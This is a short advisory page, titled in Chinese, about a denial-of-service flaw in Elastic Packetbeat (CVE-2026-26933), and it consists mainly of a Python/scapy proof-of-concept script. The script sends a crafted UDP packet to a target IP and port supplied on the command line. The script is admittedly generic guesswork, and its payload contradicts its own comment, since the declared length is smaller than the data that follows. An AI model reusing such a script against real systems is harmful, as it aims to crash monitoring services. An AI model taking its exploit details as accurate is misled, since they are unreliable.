CVE-2026-26933 Elastic Packetbeat 拒绝服务漏洞

# Conceptual Proof of Concept for CVE-2026-26933 # This script demonstrates how to send a malformed packet to trigger the OOB read. # Target environment: A network segment monitored by a vulnerable Packetbeat instance. import sys from scapy.all import * def send_malformed_packet(target_ip, target_port): # Constructing a custom packet with a malformed length field. # The specific protocol headers depend on the vulnerable parser component. # Here we simulate a generic crafted payload. # Malformed payload designed to bypass validation and cause OOB index access # Example: A length field larger than the actual packet buffer crafted_payload = b"\x00\x05" # Malformed length indicator crafted_payload += b"A" * 10 # Padding # Sending the packet via UDP (assuming the vulnerable parser listens on UDP) # Note: The actual protocol might be TCP, ICMP, or others. packet = IP(dst=target_ip)/UDP(dport=target_port)/Raw(load=crafted_payload) print(f"[*] Sending malformed packet to {target_ip}:{target_port}...") send(packet, verbose=0) print("[+] Packet sent. Check Packetbeat logs for crashes.") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python poc.py <target_ip> <target_port>") sys.exit(1) ip = sys.argv[1] port = int(sys.argv[2]) send_malformed_packet(ip, port)